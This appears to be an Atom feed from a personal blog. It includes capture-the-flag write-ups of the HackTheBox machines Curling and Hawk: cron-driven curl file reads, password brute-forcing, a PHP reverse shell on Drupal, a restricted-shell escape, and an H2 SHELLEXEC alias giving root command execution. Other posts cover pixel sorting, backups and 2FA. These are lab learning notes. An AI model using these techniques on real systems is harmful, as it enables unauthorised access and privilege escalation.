<li><p>Added <code class="prettyprint">.gz</code> as a file extension and unzipped it</p></li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">$ gunzip password_backup.gz
$ <span class="hljs-built_in">cat</span> password_backup
BZh91AY&amp;SY6@@Pt t<span class="hljs-string">&quot;dhhOPIS@68ET&gt;P@#I |3x(*N&amp;Hk1x&quot;</span>{]B@6
</code></pre>
<p>WHAT THE FUCK IS THIS</p>
<ul>
<li>Checked <code class="prettyprint">file</code> again</li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">$ file password_backup
password_backup: bzip2 compressed data, block size = 900k
</code></pre>
<p>This is getting really annoying</p>
<ul>
<li>OK</li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">$ <span class="hljs-built_in">mv</span> password_backup password_backup.bz2
$ bzip2 -d password_backup.bz2
$ <span class="hljs-built_in">cat</span> password_backup
password.txt0000644000000000000000000000002313301066143012147 0ustar  rootroot5d&lt;wdCbdZu)|hChXll
</code></pre>
<p>Fucks sake</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ <span class="hljs-built_in">type</span> password_backup
password_backup: POSIX tar archive (GNU)
</code></pre>
<p>Ugh</p>
<ul>
<li>Maybe this will be the last time…</li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">$ <span class="hljs-built_in">mv</span> password_backup password_backup.tar
$ tar -xvf password_backup.tar
password.txt
</code></pre>
<p>THIS IS IT!!!</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ <span class="hljs-built_in">cat</span> password.txt
5d&lt;wdCbdZu)|hChXll
</code></pre>
<h3 id="sshserver">SSH Server</h3>
<p> <code class="prettyprint">ssh://10.10.10.150:22</code></p>
<ul>
<li>Logged in <code class="prettyprint">floris@10.10.10.150</code> with password <code class="prettyprint">5d&lt;wdCbdZu)|hChXll</code></li>
<li>Get user <code class="prettyprint">cat user.txt</code>. What a fucking pain</li>
</ul>
<hr />
<ul>
<li>Folder <code class="prettyprint">~/admin-area</code> has files <code class="prettyprint">input</code> and <code class="prettyprint">report</code><ul>
<li>Whenever one is edited it is reverted back a while later by something</li>
<li> <code class="prettyprint">ls -al</code> shows it’s being edited every minute. I’m, pretty sure we’re dealing with cron here</li></ul></li>
<li>Had a guess that a cron job was calling <code class="prettyprint">curl</code> with a url from the file <code class="prettyprint">input</code> and redirecting the result to <code class="prettyprint">report</code><ul>
<li>Changed the url in input from <code class="prettyprint">http://127.0.0.1</code> to <code class="prettyprint">file:///home/floris/user.txt</code></li>
<li>Wait for the start of the next minute and <code class="prettyprint">report</code> now has the user hash. So yep, i’m right</li></ul></li>
<li>Changed url to <code class="prettyprint">file:///root/root.txt</code> (probably should have done this as
the first test)</li>
<li>And now we wait…</li>
</ul>
<pre class="prettyprint linenums"><code class="bash language-bash">floris@curling:~/admin-area$ <span class="hljs-built_in">date</span>
Mon Nov  5 06:52:01 UTC 2018
floris@curling:~/admin-area$ <span class="hljs-built_in">ls</span> -al
total 16
drwxr-x--- 2 root   floris 4096 May 22 19:04 .
drwxr-xr-x 7 floris floris 4096 Nov  5 06:51 ..
-rw-rw---- 1 root   floris   25 Nov  5 06:52 input
-rw-rw---- 1 root   floris   33 Nov  5 06:52 report
floris@curling:~/admin-area$ <span class="hljs-built_in">cat</span> report
82c198ab6fc5365fdc6da2ee5c26064a
</code></pre>
<p>There must have been a way to find out that cron was using curl instead of pure guesswork, but oh well.</p>
<h3 id="footnotes">Footnotes</h3>
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: </div>
<pre class="prettyprint linenums"><code>00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H
</code></pre>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Pixel Sorting And Hiding Your Face From Strangers On The Internet]]></title>
        <id>https://justin.duch.me/post/pixel_sorting</id>
        <link href="https://justin.duch.me/post/pixel_sorting"/>
        <updated>2019-03-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Pixel sorting is an interesting effect used to make forms of glitch art. It is
the process of isolating a horizontal or vertical line of pixels in an image
and sorting their positions based on any number of criteria. For instance
pixels positions may be sorted by each pixel’s luminosity, hue or saturation.
While some glitch art, such as opening the image in a hex editor and changing
a bunch of shit can be done manually by hand, pixel sorting would be very time
consuming, and thus is mainly done using a script.</p>
<p>There are many scripts to create this effect like <a href="https://github.com/satyarth/pixelsort/">this one in
Python</a>, but we are going to use
<a href="https://github.com/kimasendorf/ASDFPixelSort">this popular script</a> in
Processing written by Kim Asendorf, the artist who popularised pixel sorting.</p>
<p>But what image should we use to sort? If you've read the title you should
already know - we're going to sort a picture of me! Now as far as I know there
are only ~2 images of me on the internet (that I know of), although none from the past 5 years.
One is from when I was 10 and took a selfie on an old Facebook profile I don't
know how to delete and the other ones are probably from group pictures in
high school.</p>
<p>I'm going to pixel sort this somewhat recent image to use for my
<a href="https://www.instagram.com/beanpup.py/">Instagram</a> which you should all follow
if you want to see pictures of garbage on your timeline.</p>
<p><img src="/img/pixel-no.png" alt="image-alternative" /></p>
<p>Okay let's finally start.</p>
<p>Our particular script loops through both the columns and the rows of the
image, but it doesn’t pixel sort the entire column or row, if it did, the
result would look more like a blank gradient than anything interesting.
Instead for each column and row it looks for a pixel to start sorting on and
then it looks for a pixel to stop sorting on — this makes the algorithm
somewhat intelligent resulting in identifiable elements of the image being
left untouched.</p>
<p>In order to decide which pixel to start sorting on and which to stop sorting
on this script can operate in three different modes. The mode can be changed
by adjusting the mode variable, by default it is set to 1, but can be changed
to either 0 or 2 as well. Different modes will work better depending on the image itself.</p>
<p>In mode <code class="prettyprint">0</code>, or black mode, the script will begin sorting when it finds a pixel
which is not black in the column or row, and will stop sorting when it finds a black
pixel. The script identifies black pixels by comparing the pixel’s color value
to a threshold, if it’s lower than the black threshold the pixel is deemed to not
be black, if it’s higher it’s deemed to be black. You can adjust this threshold by
changing the <code class="prettyprint">blackValue</code> variable which is by default set to <code class="prettyprint">-16000000</code>.</p>
<p>This goes for the rest of the modes too. Mode <code class="prettyprint">1</code> is brightness mode which
starts when it finds a bright pixel and stops when it finds a dark one. While
mode <code class="prettyprint">2</code>, white mode is the opposite of mode <code class="prettyprint">0</code>. These can also be
adjusted by changing their corresponding variables - <code class="prettyprint">brightnessValue</code> and <code class="prettyprint">whiteValue</code>.</p>
<p>We will be using mode <code class="prettyprint">1</code> because the image is pretty bright. Here's the first
run.</p>
<p><img src="/img/pixel-1.png" alt="image-alternative" /></p>
<p>A bit too much sorting, although it does hide my face quite well so that's
pretty close to a win!</p>
<p>Let's change the <code class="prettyprint">brightnessValue</code> from <code class="prettyprint">60</code> to <code class="prettyprint">50</code>.</p>
<p><img src="/img/pixel-2.png" alt="image-alternative" /></p>
<p>And that made it worse, okay how about <code class="prettyprint">70</code>?</p>
<p><img src="/img/pixel-3.png" alt="image-alternative" /></p>
<p>Good enough! Normally I would work on this a bit more and slowly change
stuff until it's close to perfect but unfortunately for me, I have crippling
anxiety and can't look at a picture of myself for too long without becoming
incredibly uncomfortable.</p>
<p>If your interested in this, you should try it yourself. If you don't want to
download Processing, you can use the Python script I mentioned above, although
I've never used it so I can't say if it's good.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Baby's First Fork]]></title>
        <id>https://justin.duch.me/post/babys_first_fork</id>
        <link href="https://justin.duch.me/post/babys_first_fork"/>
        <updated>2019-02-16T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>While thinking of new posts to write, I thought of a certain something that I believed I wouldn't be able to due to the fact the my articles are now converted to HTML from markdown now (instead of being written in HTML). But then I thought <em>'why don't I just write in the functionality myself?'</em> So I've forked <a href="https://github.com/trentm/python-markdown2">python-markdown2</a> and today we are going to add iframe support.</p>
<p>Looking at the code, it seems to be a pretty simple task. We just need to add an options to <code class="prettyprint">self.extras</code> for iframes and call the function if it is passed.</p>
<p><img src="/img/fork-convert.png" alt="image-alternative" /></p>
<p>But first I'll need to decide on what syntax represent an iframe, since it isn't standard with markdown. I could add on to the normal syntax for links and add it to this <code class="prettyprint">do_links</code> function:</p>
<p><img src="/img/fork-links.png" alt="image-alternative" /></p>
<p>I would need to add a handler to this for iframes with a similar syntax. Where an inline image is <code class="prettyprint">![text](image-url)</code>, I could make iframes to be <code class="prettyprint">?[text](frame-url)</code>.</p>
<p>However, since it isn't actual markdown I would rather make the syntax something completely different like <code class="prettyprint">\{frame-url}</code>, this will mean that I need to make a new function instead of adding it to an existing one.</p>
<p>Here we will add our option (in the previous <code class="prettyprint">convert</code> function) to do iframes:</p>
<p><img src="/img/fork-option.png" alt="image-alternative" /></p>
<p>And here's the code for <code class="prettyprint">_do_iframes</code>:</p>
<p><img src="/img/fork-func.png" alt="image-alternative" /></p>
<p>Very simple.</p>
<p>Now we can add it to the bottom of this site's <code class="prettyprint">requirements.txt</code> and add the iframes option to <code class="prettyprint">mdtohtml</code>.</p>
<p><img src="/img/fork-requirements.png" alt="image-alternative" /></p>
<p>To prove that it works here's a YouTube video:</p>
<p><strong>Update 2024-07-18:</strong> Look, I can't really be bothered to explain why YouTube embeds don't work any more, this is a 5 year old post, my blog has been through like 5 rewrites, you can figure it out from there. Also, why the fuck did I use to show code in pictures instead of <code class="prettyprint">code</code> blocks?? What a fucking idiot.</p>
<p><a href="https://www.youtube.com/embed/lAIGb1lfpBw">Imagine this link is an embeded video.</a></p>
<p>If you want to view or use this fork, you can <a href="https://github.com/beanpuppy/python-markdown2">see it here</a>. I'll hopefully continue to maintain it for as long as this blog lasts.</p>
<p><strong>Update 2019-08-27:</strong> I don't use this anymore because I've moved from Python to JS.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Hawk (ft. Procrastination)]]></title>
        <id>https://justin.duch.me/post/htb_hawk</id>
        <link href="https://justin.duch.me/post/htb_hawk"/>
        <updated>2019-02-13T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Due to my incredible laziness, my last HTB article was five months ago. This is because I can't be bothered to explain stuff in a proper walkthrough of the boxes, so here's something much easier: I'm just posting the notes I was writing down as I was going through the box.</p>
<p>This is probably what I'm going to keep doing for HTB from now on, I have another three boxes that I'll publish when they are retired. But worry not, I promise after those boxes, I'll have much higher quality notes that won't be a confusing and poorly written mess.</p>
<p>I'm also not doing those old thumbnails of the box identicons anymore because those are way to hard to draw on a touchpad.</p>
<hr />
<h3 id="nmapscan">Nmap Scan</h3>
<pre class="prettyprint linenums"><code>Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-05 18:11 AEDT
Nmap scan report for 10.10.10.102
Host is up (0.28s latency).
Not shown: 937 closed ports, 60 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16 22:21 messages
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.09 seconds
</code></pre>
<h3 id="ftpserver">FTP Server</h3>
<p> <code class="prettyprint">ftp://10.10.10.120</code></p>
<ul>
<li>Allows anonymous login</li>
<li>Only file in <code class="prettyprint">messages/.drupal.txt.enc</code></li>
<li>Can’t download with <code class="prettyprint">get</code> for some reason, so let’s just view it</li>
</ul>
<pre class="prettyprint linenums"><code>ftp> get .drupal.txt.enc -
remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
226 Transfer complete.
240 bytes received in 0.00 secs (5.8688 MB/s)
ftp>
</code></pre>
<p>Just a base64 string</p>
<ul>
<li>But decoding it makes some gibberish</li>
</ul>
<pre class="prettyprint linenums"><code>justin@sierra-fc282: ~ # echo
"U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJbCmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQzQUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfyt4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=" | base64 --decode
<random giberish that breaks my mardown parser>
justin@sierra-fc282: ~ #
</code></pre>
<ul>
<li>Now as it turns out, I did in fact download it but I just didn’t see it because it was a hidden file and I was using a normal <code class="prettyprint">ls</code>…</li>
<li>Anyway, because of the <code class="prettyprint">.enc</code> extension, I’m gonna go ahead and assume it’s encrypted with OpenSSL. So now we save the decoded version to a file <code class="prettyprint">cat drupal.txt.enc | base64 --decode &gt; drupal.b64d.enc</code></li>
<li>Downloaded <a href="https://github.com/glv2/bruteforce-salted-openssl">this tool to bruteforce the password</a></li>
<li>And now we try it with some basic options</li>
</ul>
<pre class="prettyprint linenums"><code>root@kali:~/Documents/htb/hawk# /opt/file/bruteforce-salted-openssl/bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -c aes256 -v 30 drupal.b64d.enc

Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 14344391
Tried passwords per second: 896524.437500
Last tried password: *7¡Vamos!

Password not found.
The file might have been encrypted with a different cipher or/and a
different digest (e.g. OpenSSL 1.0.x uses the MD5 digest by default
but OpenSSL 1.1.x uses SHA256 by default).
</code></pre>
<p>Nope. This might take a while…</p>
<ul>
<li>Okay let’s try it with a different digest <code class="prettyprint">sha256</code></li>
</ul>
<pre class="prettyprint linenums"><code>root@kali:~/Documents/htb/hawk# /opt/file/bruteforce-salted-openssl/bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -c aes256 -d sha256 -v 30 drupal.b64d.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 32
Tried passwords per second: inf
Last tried password: hello

Password candidate: friends
</code></pre>
<p>That was easy. We were not here for a while, I lied</p>
<ul>
<li>Now we can decrypt it</li>
</ul>
<pre class="prettyprint linenums"><code>root@kali:~/Documents/htb/hawk# openssl enc -d -aes256 -salt -in drupal.b64d.enc -out drupal.decrypted -k friends
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
root@kali:~/Documents/htb/hawk# cat drupal.decrypted
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department
</code></pre>
<p>Neato</p>
<h3 id="drupalwebportal">Drupal Web Portal</h3>
<p> <code class="prettyprint">http://10.10.10.102</code></p>
<ul>
<li>Login with <code class="prettyprint">Admin</code>: <code class="prettyprint">PencilKeyboardScanner123</code></li>
<li> <code class="prettyprint">admin/reports/status</code> says Drupal version is <code class="prettyprint">7.58</code></li>
<li> <code class="prettyprint">/CHANGELOG.txt</code> says it was patched for <code class="prettyprint">CVE-2018-7600</code></li>
<li>Looks like we gotta upload a good ol’ PHP reverse shell.</li>
<li>First we need to allow Drupal to add PHP page snippets. In <code class="prettyprint">admin/modules</code> tick the <code class="prettyprint">PHP Filter</code> option</li>
<li>Go to <code class="prettyprint">node/add/page</code> and upload the shellcode</li>
<li>You know the rest</li>
</ul>
<h3 id="phpreverseshell">PHP Reverse Shell</h3>
<ul>
<li>Logged in as <code class="prettyprint">www-data</code></li>
<li>We have access to <code class="prettyprint">/home/daniel/user.txt</code>. So just get that</li>
</ul>
<hr />
<ul>
<li>Attempted to ssh with a password found in <code class="prettyprint">/var/www/html/sites/default/settings.php</code> - <code class="prettyprint">drupal4hawk</code> with username <code class="prettyprint">daniel</code></li>
</ul>
<h3 id="sshpythonclient">SSH Python Client</h3>
<ul>
<li> <code class="prettyprint">daniel</code> user uses a Python restricted shell. So yep</li>
<li>Easy fix <code class="prettyprint">import pty; pty.spawn(‘/bin/bash’)</code></li>
</ul>
<h3 id="sshbashclient">SSH Bash Client</h3>
<ul>
<li>Logged into mysql server with <code class="prettyprint">drupal</code>: <code class="prettyprint">drupal4hawk</code></li>
<li>In <code class="prettyprint">users</code> table</li>
</ul>
<pre class="prettyprint linenums"><code>name: admin
pass: $S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08
</code></pre>
<p>The hash is a special <code class="prettyprint">sha512 (Drupal)</code> hash, so this is probably not where we are supposed to be</p>
<ul>
<li>Another database <code class="prettyprint">h2</code> is running as root. We can access it on <code class="prettyprint">10.10.10.102:8082</code></li>
<li>But we get denied access because it only accepts connections from localhost, we need to set up a proxy</li>
<li>Create a new SSH session with <code class="prettyprint">ssh -D 8080 daniel@10.10.10.102</code></li>
<li>Setup Firefox to allow SOCKS proxy with <code class="prettyprint">127.0.0.1:8080</code></li>
<li>Now we can access it</li>
<li>Looking back at <code class="prettyprint">ps -aux</code> we see that the process is running without the <code class="prettyprint">-user</code> or <code class="prettyprint">-pass</code> args which means we can access it with default credentials</li>
<li>But, of course… this doesn’t work</li>
<li><a href="http://www.h2database.com/html/faq.html#connect">Frequently Asked Questions</a> for <code class="prettyprint">h2</code> shows that the database may be stored somewhere different</li>
<li>Replaced <code class="prettyprint">~/test</code> with <code class="prettyprint">./data/test</code> and we’re in</li>
</ul>
<h3 id="h2webconsole">H2 Web Console</h3>
<p> <code class="prettyprint">10.10.10.102:8082</code></p>
<ul>
<li>Looked for an exploit and <a href="https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html">found this</a></li>
<li>So in the console you run</li>
</ul>
<pre class="prettyprint linenums"><code>CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;
CALL SHELLEXEC('cat /root/root.txt')
</code></pre>
<p>And it displays</p>
<pre class="prettyprint linenums"><code>CALL SHELLEXEC('cat /root/root.txt');
PUBLIC.SHELLEXEC('cat /root/root.txt')
54f3e840fe5564b42a8320fd2b608ba0
(1 row, 5 ms)
</code></pre>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Life Is Temporary And So Are Hard Drives]]></title>
        <id>https://justin.duch.me/post/life_is_temporary</id>
        <link href="https://justin.duch.me/post/life_is_temporary"/>
        <updated>2019-02-08T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Last week I was messing around with my <a href="https://github.com/beanpuppy/dotfiles">dotfiles</a>, and long story short - I <code class="prettyprint">rm -rf</code>'ed my home directory. So today, we're going to look at backup solutions.</p>
<h3 id="macostimemachine">MacOS Time Machine</h3>
<p>Let's start at the most obvious one and one that I was actually using: <code class="prettyprint">Time Machine</code>.</p>
<p>This is a built-in backup feature for Macs. It creates incremental backups of files to an AirPort Time Capsule, a Wi-Fi router with built-in hard disk, or an internal/external disk drive. Time Machine saves hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month until the volume runs out of space. At that point, Time Machine deletes the oldest weekly backup.</p>
<p>This is pretty great, because it meant I didn't lose anything except the last day of work which wasn't it the backup. But it wasn't pretty great. I soon found out two things: <a href="https://www.novastor.com/schrodingers-backup-good-bad-backup/">Schrödinger’s Backup</a> applies to even the hard drive I kept Time Machine on and that life is a bitch.</p>
<p>The five most recent backups didn't work, and at that point I decided it would be better to just re-install MacOS. Thankfully, after the re-install I was still able to recover some files from Time Machine and the others were recovered in the next part.</p>
<h3 id="onlinebackups">Online Backups</h3>
<p>I've had <a href="https://www.backblaze.com/">Backblaze</a> on my Mac since the day I bought it (this was before I knew Time Machine was a thing), and while it became somewhat unneeded (because of Time Machine) I still kept it for some reason. Backblaze and I assume other cloud backups solutions (I literally only know Backblaze, I guess that's marketing for ya), upload your files to the cloud, a magical place made of mist, stardust, and Linux servers. This allows you to restore your PC from anywhere in the world, because your backup is in a different dimension to you rather than on a hard drive sitting in your cabinet for <em>miscellaneous</em> things.</p>
<p>Anyway, I was able to recover the rest of my files from this, so I guess it served a pretty good <em>backup for my backup</em>. Overall, while I'd much rather have a physical backup that's much more convenient if I want to restore my entire Mac (where I don't have to pay 20 dollars and wait a week for a hard drive with the stuff on it to arrive), cloud backups can still be useful for getting specific files.</p>
<h3 id="windowsrestorepoints">Windows Restore Points</h3>
<p>If you use Windows instead of MacOS you have the option of using Windows Restore Points, which is like Time Machine except fifty times worse. This has never worked for me, I hate Windows.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Use Time Machine, consider paying money to back up to the cloud, burn down your Windows install.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Finally Finish This Blog's First Production Release]]></title>
        <id>https://justin.duch.me/post/blog2_release</id>
        <link href="https://justin.duch.me/post/blog2_release"/>
        <updated>2019-01-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've been developing this website for just under a year now, with it having a <a href="/post/how_do_you_write_a_blog">major revision</a> three months in. But now it's finally ready for it's production release, as in, I finished developing every feature a blog needs (or only the ones I wanted). So what was the last feature you ask?</p>
<p>It was that search bar on the top right.</p>
<p>That's right, the search bar hasn't worked for the past year even though it looks so inviting, and looking at my Google Analytics report, it has fooled a few of you. Anyway, even though <a href="/post/how_do_you_write_a_search_engine">I've made a search engine</a> in the past, I thought it was too much of a bother to do, so the bar just turns it into a Google search. Literally five lines of HTML.</p>
<h2 id="thefuture">the future</h2>
<p>Now, to celebrate this <strong><em>momentous</em></strong> achievement, here's a look into notes I have of future blog developments.</p>
<p><img src="/img/blog2-future.png" alt="image-alternative" /></p>
<p>Neat stuff. Let's go through them and I'll explain why I'll probably never get them done.</p>
<h3 id="getbetterwebdevscore">Get better web.dev score</h3>
<p><a href="https://web.dev">web.dev</a> is an "automated tool for running diagnostics on any web page—will help you understand how and where to start improving the quality of your web page. It has audits for performance, accessibility, progressive web apps, and more."</p>
<p>I think my score is around 75/100, which is not very good.</p>
<h3 id="refactorpeeweemodels">Refactor peewee models</h3>
<p>I am too lazy to do this, it works fine for now.</p>
<h3 id="findbetterwaytosendemails">Find better way to send emails</h3>
<p>Currently whenever a new article is posted, I manually log into my server and run a script to send emails to everyone. This is bad and I don't like it. I've tried thinking of ways to get it to work with it's auto-deployment to TravisCI, but because of how I've structured writing and publishing articles, it's too much effort. I may have to write a script that runs the script on the server…</p>
<h3 id="addlikingfunctiontoarticles">Add liking function to articles</h3>
<p>This would be easy (as for the note, I would just store what a reader has liked in localstorage), but I'm probably not going to do it for reasons explained below.</p>
<h3 id="addanalyticspage">Add analytics page</h3>
<p>I think this is a pretty neat idea, I like analytics and I'm sure much like myself, lots of people would be interested in seeing the analytics for the sites they visit. The issue here is that I've realised it probably doesn't look good for a site with my small amount traffic. To go back to my previous point, it wouldn't look good for the likes on all my articles to be in the 0-2 range. I'd rather not show these things and let an outside reader guess how much traffic I get (in most cases, it would probably be higher than what it actually is).</p>
<p>As for the article stats page, I'm just not even sure what I'm supposed to show. Most used tags? Highest number of swears? It seems a bit too novel for me.</p>
<h3 id="seleniumtests">Selenium tests</h3>
<p>This is just testing but for the front-end rather than back-end. I may actually end up doing this, just to learn how.</p>
<h3 id="compressimagesbetter">Compress images better</h3>
<p>This sort of goes with the web.dev point, but it's on it's own because it is actually pretty important. Currently, all the thumbnails for my articles are 1920x1080px images, which is awful for bandwidth. I really need to compress them, hopefully I will be bothered soon.</p>
<h3 id="getthefuckingsearchworking">Get the fucking search working</h3>
<p>I did this :) we can skip it.</p>
<h3 id="archivepagesbyyear">Archive - pages by year</h3>
<p>In the /archive page, I want to split the articles in pages, ordered by year. This should be done soon.</p>
<h3 id="editarticlesinmarkdowninsteadofhtml">Edit articles in markdown instead of HTML</h3>
<p>This would just make my workflow a whole lot simpler and faster, I have a few ideas to get this working and it opens a whole lot possibilities for future improvements. It's quite a bit of work, bit this is definitely going to be worked on next.</p>
<h3 id="movetodockercontainer">Move to docker container</h3>
<p>Move to Docker container. Do I need to say anything else?</p>
<p>All right, that's all of them. Come back next year and we'll see how many I did (or didn't).</p>
<p><strong>Update 2023-08-17:</strong> It has come to my attention that this version of my blog has not been archived anywhere. So I dug the old code up, fixed some broken bullshit, and ran it locally to get some pictures for you! How nice of me. You can even see the old <a href="https://git.sr.ht/~beanpup_py/justinduch.com">code here</a> for yourself!</p>
<p>Home page:</p>
<p><img src="/img/blog_archive2.png" alt="home page" /></p>
<p>About page:</p>
<p><img src="/img/blog_archive1.png" alt="about page" /></p>
<p>An article (imagine the HTML rendered correctly, I was not bothered to fix it in the 30 minutes I did this in):</p>
<p><img src="/img/blog_archive3.png" alt="about page" /></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Adding 2FA For CentOS/Ubuntu Servers]]></title>
        <id>https://justin.duch.me/post/mfa_for_centos_ubuntu</id>
        <link href="https://justin.duch.me/post/mfa_for_centos_ubuntu"/>
        <updated>2019-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is a quick guide to set up two-factor authentication on CentOS/Ubuntu servers. By quick, I mean that I'm not going to explain much. I'm only writing this because I feel bad that I haven't made a post in over a month.</p>
<p>For this guide, we will be using the Google Authenticator app which you can download on your phone, although I think the PAM (Pluggable Authentication Module) also generates TOTPs compatible with Authy. So make sure you have one of those installed first.</p>
<p>Okay let's get started.</p>
<h3 id="installgooglespam">Install Google's PAM</h3>
<p>On CentOS:</p>
<pre class="prettyprint linenums"><code># Add the EPEL repo (if you haven't already)
$ sudo yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
# Install PAM
$ sudo yum install google-authenticator
</code></pre>
<p>On Ubuntu:</p>
<pre class="prettyprint linenums"><code>$ sudo apt-get install libpam-google-authenticator
</code></pre>
<p>Now run the initialisation app:</p>
<pre class="prettyprint linenums"><code>$ google-authenticator
</code></pre>
